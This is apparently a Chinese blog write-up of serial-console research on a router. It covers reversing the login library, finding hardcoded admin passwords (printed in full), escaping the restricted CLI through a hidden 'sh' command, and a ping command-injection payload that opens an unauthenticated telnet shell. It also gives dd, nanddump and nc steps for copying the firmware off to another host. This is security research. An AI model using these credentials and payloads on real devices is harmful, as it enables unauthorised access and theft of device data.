一次串口连接的发现
之前在咸鱼淘的一个设备,存在漏洞也是比较多,官网可以找到设备固件,有多个命令注入和缓冲区溢出而且固件更新后也没有修,想拿真实设备环境调试一下,其实通过web服务器的命令注入漏洞就可以getshell,下面记录一下我连接串口的一些小发现和实践。大佬们不喜勿喷~
连接串口
拆开外壳看到板子上的串口引脚,焊上排针,板子上已经标注好了引脚名称,省的再去拿万用表测。
可以直接使用USB转TTL工具按照以下连接方式进行连接:
GND引脚对应TTL的GND,RXD引脚对应TTL的TXD,TXD引脚对应TTL的RXD,VCC引脚不用接
(图中串口引脚下边为NAND flash)
设置好波特率,有正常输出,一般试常见的几个,不乱码的即为正确的波特率,也可以用工具爆破
串口登录cli
在设备启动了一段时间以后,按回车,看到有登录Linux shell的提示,试了几个弱口令,失败
在官网下载了设备固件,是ubi文件系统,我这边binwalk依赖比较新,没有用ubireader就直接解了出来,而/etc/passwd中的凭证没有破解出来
所以根据关键字“Login incorrect”,使用grep在文件系统里查找对应的文件
`
rootfs_ubifs$ grep -r "Login incorrect"
Binary file usr/bin/pppd_248 matches
Binary file bin/pppd matches
Binary file lib/libcms_cli.so matches # 根据"cli"判断是该文件
`
分析libcms_cli.so,定位字符串引用
在cmsCli_authenticate()函数,
...
if ( a1 != 3 || (result = j_cli_readString((int)v20, 0x100u)) == 0 )
{
v8 = 0;
while ( 1 )
{
v20[0] = 0;
dest[0] = 0;
printf("Login: ");
fflush((FILE *)stdout);
v4 = j_cli_readString((int)v20, 0x100u); //获取用户名,v20[]
if ( v4 )
return v4;
v12 = getpass("Password: "); //获取密码
if ( v12 )
{
s = v12;
strcpy(dest, v12);
v13 = strlen(s);
memset(s, 0, v13);
}
v14 = cmsLck_acquireLockWithTimeoutTraced("cmsCli_authenticate", 6000);
++v8;
v4 = v14;
if ( v14 )
{
v5 = log_log(3, "cmsCli_authenticate", 191, "failed to get lock, ret=%d", v14);
goto LABEL_20;
}
v9 = cmsDal_authenticate(&v18, a1, v20, dest); //cmsDal_authenticate是验证口令的功能
cmsLck_releaseLockTraced("cmsCli_authenticate");
v19[4] = (int)v20;
v19[2] = (int)&currAppName;
v10 = v19[6];
v19[6] |= 0x28u;
if ( currAppPort )
{
v19[1] = (unsigned __int16)currAppPort;
v19[6] = v10 | 0x2E;
v19[3] = (int)&currIpAddr;
}
if ( v9 == 1 ) //从这里判断出 v9是作为成功与否的标志
break;
if ( v8 <= 2 )
{
cmsLog_security(4, v19, 0);
puts("Login incorrect. Try again.");
...
跟到libcms_dal.so中的cmsCli_authenticate函数,很明显是两对硬编码凭证
...
if ( a2 == 2 )
{
if ( !strcmp("telecomadmin", a3) )
v8 = strcmp("nE7jA%5m", a4) == 0; //v8为函数返回结果
if ( !strcmp("CMCCAdmin", a3) && !strcmp("aDm8H%MdA", a4) )
v8 = 1;
*a1 = 2;
}
...
telecomadmin用户登录进去无法执行命令(函数结果返回为0),而在libcms_cli.so中,没有定义这个用户的权限
CMCCAdmin/aDm8H%MdA凭证会返回1
登录成功,但并没有进入常见的busybox,尝试执行ls显示不支持命令,ps却可以执行
通过help查看到支持的命令有如下(图片只显示了部分),关注到有tftp
如何进入Linux shell
前边试了设置uboot参数,没有成功
根据以上情况,假设一种场景:假设在设备上电后,无需口令即可进入此时“受限shell”,
①这时候可以选择通过ps查看运行的关键进程,通过tftp将想要分析的文件传出来,如web服务器
②尝试cli逃逸
根据“unrecongnized command”字符串,定位到如下代码
...
v3 = " > ";
result = j_cmdedit_read_input(" > ", s); //获取command
if ( result >= 0 )
{
v1 = strlen(s);
if ( v1 > 0 )
{
v2 = v1 - 1;
if ( s[v2] == 10 )
s[v2] = 0;
}
result = log_log(7, "processInput", 361, "read =>%s<=", s);
if ( s[0] )
{
result = j_cli_processCliCmd((int)s); //处理command
if ( result != 1 )
{
result = j_cli_processHiddenCmd(s); //根据名字判断是处理隐藏命令
if ( result != 1 )
result = log_log(3, "processInput", 387, "unrecognized command %s", s);
}
...
跟到j_cli_processHiddenCmd,存放了“隐藏命令”,明显看到有 sh命令,输入即可进入标准shell
.data.rel.ro:0002CBC4 off_2CBC4 DCD aDumpmem ; DATA XREF: cli_processHiddenCmd:loc_6640↑o
.data.rel.ro:0002CBC4 ; cli_processHiddenCmd+50↑o ...
.data.rel.ro:0002CBC4 ; "dumpmem"
.data.rel.ro:0002CBC8 DCD aEbtables ; "ebtables"
.data.rel.ro:0002CBCC DCD aIptables ; "iptables"
.data.rel.ro:0002CBD0 DCD aLogread ; "logread"
.data.rel.ro:0002CBD4 DCD aSetmem ; "setmem"
.data.rel.ro:0002CBD8 DCD aCSh+3 ; "sh"
.data.rel.ro:0002CBDC DCD aPspctl ; "pspctl"
如果输入的不是“sh”,则会通过prctl_spawnProcess()执行输入的命令,此时就存在命令注入漏洞(贼鸡肋,sh已经可以直接getshell了)
③其实在上一步分析之前,笔者首先是跟进到了j_cli_processCliCmd
发现会将输入的命令和off_2CBE0之后一段的数据进行对比,也就是help打印出来支持的命令
......
.data.rel.ro:0002CBE0 off_2CBE0 DCD asc_1779A ; DATA XREF: sub_5828+8↑o
.data.rel.ro:0002CBE0 ; sub_5828+14↑o ...
.data.rel.ro:0002CBE0 ; "?"
.data.rel.ro:0002CBE4 DCD aListOfAllComma ; "List of all commands."
.data.rel.ro:0002CBE8 DCD dword_C0+1
.data.rel.ro:0002CBEC DCD sub_5828
.data.rel.ro:0002CBF0 DCD aHelp ; "help"
.data.rel.ro:0002CBF4 DCD aListOfAllComma ; "List of all commands."
.data.rel.ro:0002CBF8 DCD dword_C0+1
.data.rel.ro:0002CBFC DCD sub_5828
.data.rel.ro:0002CC00 DCD aLogout ; "logout"
.data.rel.ro:0002CC04 DCD aLogoutFromCli ; "Logout from CLI."
.data.rel.ro:0002CC08 DCD dword_C0+1
.data.rel.ro:0002CC0C DCD sub_57C8
.data.rel.ro:0002CC10 DCD aExit ; "exit"
.data.rel.ro:0002CC14 DCD aLogoutFromCli ; "Logout from CLI."
.data.rel.ro:0002CC18 DCD dword_C0+1
.data.rel.ro:0002CC1C DCD sub_57C8
......
在ping 命令处尝试截断,发现存在命令注入,可成功在8888端口开启telnet,且无需身份验证
ping 192.168.10.1;utelnetd -l /bin/sh -p 8888
思考为什么只有ping存在命令注入,因为测试了其他几个命令是不存在的该漏洞,且只有在ping有输出结果的情况才触发命令注入,即直接输入ping ;utelnetd -p 8888 -l /bin/sh也无法开启telnetd
继续分析cli_processCliCmd(),prctl_runCommandInShellWithTimeout(s)函数看着和此时执行ping命令存在命令注入漏洞的情况比较符合
......
v12 = off_2CBE0[v7 + 3];
if ( v12 )
{
if ( v3 == v5 )
v13 = &s[v3];
else
v13 = (char *)(v3 + 1);
if ( v3 != v5 )
v13 = &s[(_DWORD)v13];
v14 = ((int (__fastcall *)(char *))v12)(v13);
}
else
{
v14 = prctl_runCommandInShellWithTimeout(s); //看函数名为有延迟(猜测可能为非一次输出)的意思
}
......
跟进到在libcms_util.so中,最终在sub_D2C0—>execv造成了命令注入
具体流程细节也没有再跟
获取文件系统
获取shell之后,就是想办法把文件系统打包传出来,查看磁盘情况,直接tar打包根目录或者dd将mtd0(一般是存放的固件)刻出来,nand flash也可使用nanddump
tar -cvfz /tmp/rootfs / #打包文件系统
#dump固件
dd if=/dev/mtd0 of=/tmp/mtd0
nanddump -of /tmp/mtd0 /dev/mtd0
传输可用nc或者tftp等
tftp -p -t f -l filename server_ip
接收端:nc -l -p 1337 >rootfs.tar
设备端:nc <接收端ip地址> 1337 </tmp/rootfs.tar
将dump下来的固件解包,得到文件系统
总结
原本目的是想要在真实设备开启漏洞调试环境(已得到文件系统),偶然发现的串口几种getshell的方式,然后列举实践了几种常见的通过完整Linux shell 来dump文件系统(固件)的场景。 有时间后边写一下通过uboot来拿固件,CFE支持的命令比较陌生,不是很顺利。~~~~
整体思路比较简单,还望多多指教。